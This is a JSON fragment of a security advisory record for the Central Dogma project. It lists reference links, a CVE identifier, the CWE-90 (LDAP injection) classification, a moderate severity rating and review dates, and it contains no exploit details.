"references" : [ {
"type" : "WEB",
"url" : "https://github.com/line/centraldogma/security/advisories/GHSA-98q5-5qh2-7w75"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-11748"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/line/centraldogma"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-90" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-11T20:43:48Z",
"nvd_published_at" : "2026-06-22T03:16:42Z"
}
}